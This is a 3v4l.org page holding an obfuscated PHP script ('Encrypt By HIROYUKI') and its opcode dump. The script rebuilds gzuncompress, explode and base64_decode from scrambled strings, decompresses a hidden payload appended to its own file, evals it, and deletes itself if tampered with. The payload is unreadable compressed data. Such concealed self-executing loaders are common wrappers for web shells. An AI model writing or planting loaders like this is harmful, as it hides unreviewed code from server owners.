3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* Encrypt By HIROYUKI */ $O0O00O00O = "xxuncomprehr"; $OOO00O00O = str_replace("xx","gz",$O0O00O00O); $OOO00O000 = str_replace("hr","ss",$OOO00O00O); $OOO0OO000 = "hiroploenc"; $OOO00OOO0 = str_replace("hiro","ex",$OOO0OO000); $OOOO0OOO0 = str_replace("enc","de", $OOO00OOO0); $O0OO00OO0 = "ASEK48_MAMAM"; $OOOO00OOO = str_replace("ASEK48","base64",$O0OO00OO0); $O00OO0O0O = str_replace("MAMAM","decode",$OOOO00OOO); $O00OO0OOO = file_get_contents(__FILE__); str_replace("eval","nemu",$O00OO0OOO,$O000O0OOO); str_replace("Encrypt By HIROYUKI","nemu",$O00OO0OOO,$O000O000O); if($O000O0OOO == 1 or $O000O000O == 1){ unlink(__FILE__);} eval("?>".$OOO00O000($OOOO0OOO0($O00OO0O0O("ICNGSUtSSSA="),file_get_contents(__FILE__))[1])); __halt_compiler(); #FIKRI xœíkSã8ò{~…VPGØKl`ï®¶ É·3ÀAf릆©”l‹DƒbûlÈ^íýöë–œÄvœ@`»Ôì&‘º[­~©%·ÕxÂJÅþ¾Ò0ÿ&&ÇADöIåÍ?8 "ð(®ö¿O.™ŠDPy-¢`”܈ÊÅå?É/'§?½­|oW*<Š‚¨ñ0ˆ”ðû՝íƒJÄÿ“ˆˆ÷ß儯\aƒÒƒJE\W7{?wºhÈ|.éGò]“lêïÛÿÕÿOÿø½PÕ­FìF"T-&y¤ªôõÉÅÙùÅY·ÓîÒ톝v6†\12P*¬ãø·MñëˆÇJÜÀWÜWMºs@’H6mj·¶€Qá÷Ê«V¥ñÝÑY»ûþ¼øC ¿Çœy- f¨»Á|š4Q×õi¶+;ð¿ëïëí`2%É3 œtšÜëó¦Ï†¼Io¿C!f€ï„§Mß —×õ¾P‚Ézì‚0š»@ÈPRBIÞBÉÔAE¨!Òí¾mئÃ
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 47) Position 1 = 57, Position 2 = 59
Branch analysis from position: 57
2 jumps found. (Code = 43) Position 1 = 60, Position 2 = 63
Branch analysis from position: 60
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 63
Branch analysis from position: 59
filename:       /in/0MXaP
function name:  (null)
number of ops:  81
compiled vars:  !0 = $O0O00O00O, !1 = $OOO00O00O, !2 = $OOO00O000, !3 = $OOO0OO000, !4 = $OOO00OOO0, !5 = $OOOO0OOO0, !6 = $O0OO00OO0, !7 = $OOOO00OOO, !8 = $O00OO0O0O, !9 = $O00OO0OOO, !10 = $O000O0OOO, !11 = $O000O000O
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'xxuncomprehr'
    4     1        INIT_FCALL                                               'str_replace'
          2        SEND_VAL                                                 'xx'
          3        SEND_VAL                                                 'gz'
          4        SEND_VAR                                                 !0
          5        DO_ICALL                                         $13     
          6        ASSIGN                                                   !1, $13
    5     7        INIT_FCALL                                               'str_replace'
          8        SEND_VAL                                                 'hr'
          9        SEND_VAL                                                 'ss'
         10        SEND_VAR                                                 !1
         11        DO_ICALL                                         $15     
         12        ASSIGN                                                   !2, $15
    6    13        ASSIGN                                                   !3, 'hiroploenc'
    7    14        INIT_FCALL                                               'str_replace'
         15        SEND_VAL                                                 'hiro'
         16        SEND_VAL                                                 'ex'
         17        SEND_VAR                                                 !3
         18        DO_ICALL                                         $18     
         19        ASSIGN                                                   !4, $18
    8    20        INIT_FCALL                                               'str_replace'
         21        SEND_VAL                                                 'enc'
         22        SEND_VAL                                                 'de'
         23        SEND_VAR                                                 !4
         24        DO_ICALL                                         $20     
         25        ASSIGN                                                   !5, $20
    9    26        ASSIGN                                                   !6, 'ASEK48_MAMAM'
   10    27        INIT_FCALL                                               'str_replace'
         28        SEND_VAL                                                 'ASEK48'
         29        SEND_VAL                                                 'base64'
         30        SEND_VAR                                                 !6
         31        DO_ICALL                                         $23     
         32        ASSIGN                                                   !7, $23
   11    33        INIT_FCALL                                               'str_replace'
         34        SEND_VAL                                                 'MAMAM'
         35        SEND_VAL                                                 'decode'
         36        SEND_VAR                                                 !7
         37        DO_ICALL                                         $25     
         38        ASSIGN                                                   !8, $25
   12    39        INIT_FCALL                                               'file_get_contents'
         40        SEND_VAL                                                 '%2Fin%2F0MXaP'
         41        DO_ICALL                                         $27     
         42        ASSIGN                                                   !9, $27
   13    43        INIT_FCALL                                               'str_replace'
         44        SEND_VAL                                                 'eval'
         45        SEND_VAL                                                 'nemu'
         46        SEND_VAR                                                 !9
         47        SEND_REF                                                 !10
         48        DO_ICALL                                                 
   14    49        INIT_FCALL                                               'str_replace'
         50        SEND_VAL                                                 'Encrypt+By+HIROYUKI'
         51        SEND_VAL                                                 'nemu'
         52        SEND_VAR                                                 !9
         53        SEND_REF                                                 !11
         54        DO_ICALL                                                 
   15    55        IS_EQUAL                                         ~31     !10, 1
         56      > JMPNZ_EX                                         ~31     ~31, ->59
         57    >   IS_EQUAL                                         ~32     !11, 1
         58        BOOL                                             ~31     ~32
         59    > > JMPZ                                                     ~31, ->63
         60    >   INIT_FCALL                                               'unlink'
         61        SEND_VAL                                                 '%2Fin%2F0MXaP'
         62        DO_ICALL                                                 
   16    63    >   INIT_DYNAMIC_CALL                                        !2
         64        CHECK_FUNC_ARG                                           
         65        INIT_DYNAMIC_CALL                                        !5
         66        INIT_DYNAMIC_CALL                                        !8
         67        SEND_VAL_EX                                              'ICNGSUtSSSA%3D'
         68        DO_FCALL                                      0  $34     
         69        SEND_VAR_NO_REF_EX                                       $34
         70        INIT_FCALL                                               'file_get_contents'
         71        SEND_VAL                                                 '%2Fin%2F0MXaP'
         72        DO_ICALL                                         $35     
         73        SEND_VAR_NO_REF_EX                                       $35
         74        DO_FCALL                                      0  $36     
         75        FETCH_DIM_FUNC_ARG                               $37     $36, 1
         76        SEND_FUNC_ARG                                            $37
         77        DO_FCALL                                      0  $38     
         78        CONCAT                                           ~39     '%3F%3E', $38
         79        INCLUDE_OR_EVAL                                          ~39, EVAL
         80      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
149.58 ms | 1017 KiB | 16 Q